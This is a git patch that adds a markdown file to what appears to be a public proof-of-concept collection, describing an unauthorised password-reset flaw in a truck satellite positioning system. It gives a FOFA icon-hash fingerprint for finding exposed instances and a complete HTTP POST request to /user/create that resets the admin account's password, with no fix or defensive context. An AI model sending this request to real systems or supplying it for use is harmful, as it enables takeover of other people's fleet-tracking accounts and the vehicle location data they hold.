From 2a2643871491fcb2757d1f2193fe40c694d10c8b Mon Sep 17 00:00:00 2001
From: wy876 <139549762+wy876@users.noreply.github.com>
Date: Wed, 24 Apr 2024 19:36:08 +0800
Subject: [PATCH] =?UTF-8?q?Create=20=E5=8D=A1=E8=BD=A6=E5=8D=AB=E6=98=9F?=
 =?UTF-8?q?=E5=AE=9A=E4=BD=8D=E7=B3=BB=E7=BB=9Fcreate=E5=AD=98=E5=9C=A8?=
 =?UTF-8?q?=E6=9C=AA=E6=8E=88=E6=9D=83=E5=AF=86=E7=A0=81=E9=87=8D=E7=BD=AE?=
 =?UTF-8?q?=E6=BC=8F=E6=B4=9E.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...�卫星定位系统create存在未授权密码重置漏洞.md | 23 +++++++++++++++++++
 1 file changed, 23 insertions(+)
 create mode 100644 卡车卫星定位系统create存在未授权密码重置漏洞.md

diff --git a/卡车卫星定位系统create存在未授权密码重置漏洞.md b/卡车卫星定位系统create存在未授权密码重置漏洞.md
new file mode 100644
index 0000000..b40026b
--- /dev/null
+++ b/卡车卫星定位系统create存在未授权密码重置漏洞.md
@@ -0,0 +1,23 @@
+## 卡车卫星定位系统create存在未授权密码重置漏洞
+
+## fofa
+```
+icon_hash="1553867732"
+```
+![image](https://github.com/wy876/POC/assets/139549762/3ce718e2-b8cf-4316-9b47-70997ee75723)
+
+
+## poc
+```
+POST /user/create HTTP/1.1
+Host: 
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
+Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+Accept: application/json, text/javascript, */*; q=0.01
+X-Requested-With: XMLHttpRequest
+Accept-Encoding: gzip, deflate
+Accept-Language: zh-CN,zh;q=0.9
+Connection: close
+
+account=admin&id=1&password=test&passwordRepeat=test&groupName=111&roleid=5&validend=&phone=&email=&chncount=36&flowType=1&oldFlowType=&flowVal=&flowAlarmVal=&oldFlowAlarmVal=&logContent=111&guid=222&token=
+```